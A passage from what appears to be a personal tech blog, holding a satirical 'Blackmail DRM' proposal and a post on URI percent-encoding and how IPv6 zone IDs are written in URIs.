Most existing DRM attempts to only allow the user to access the DRM'ed content with particular applications or with particular credentials so that if the file is shared it won't be useful to others. A better solution is to encode any of the user's horrible secrets into unique versions of the DRM'ed content so that the user won't want to share it. Entangle the users and the content provider's secrets together in one document and accordingly their interests. I call this Blackmail DRM. For an implementation it is important to point out that the user's horrible secret doesn't need to be verified as accurate, but merely verified as believable.

Apparently I need to get these blog posts written faster because only recently I read about Social DRM which is a light weight version of my idea but with a misleading name. Instead of horrible secrets, they say they'll use personal information like the user's name in the DRM'ed content. More of my thoughts stolen and before I even had a chance to think of it first!

Friday, February 10, 2012

URI Percent Encoding Ignorance Level 0 - Existence

As a professional URI aficionado I deal with various levels of ignorance on URI percent-encoding (aka URI encoding, or URL escaping). The basest ignorance is with respect to the mere existence of percent-encoding. Percents in URIs are special: they always represent the start of a percent-encoded octet. That is to say, a percent is always followed by two hex digits that represents a value between 0 and 255 and doesn't show up in a URI otherwise.

The IPv6 textual syntax for scoped addresses uses the '%' to delimit the zone ID from the rest of the address. When it came time to define how to represent scoped IPv6 addresses in URIs there were two camps: Folks who wanted to use the IPv6 format as is in the URI, and those who wanted to encode or replace the '%' with a different character. The resulting thread was more lively than what shows up on the IETF URI discussion mailing list. Ultimately we went with a percent-encoded '%' which means the percent maintains its special status and singular purpose.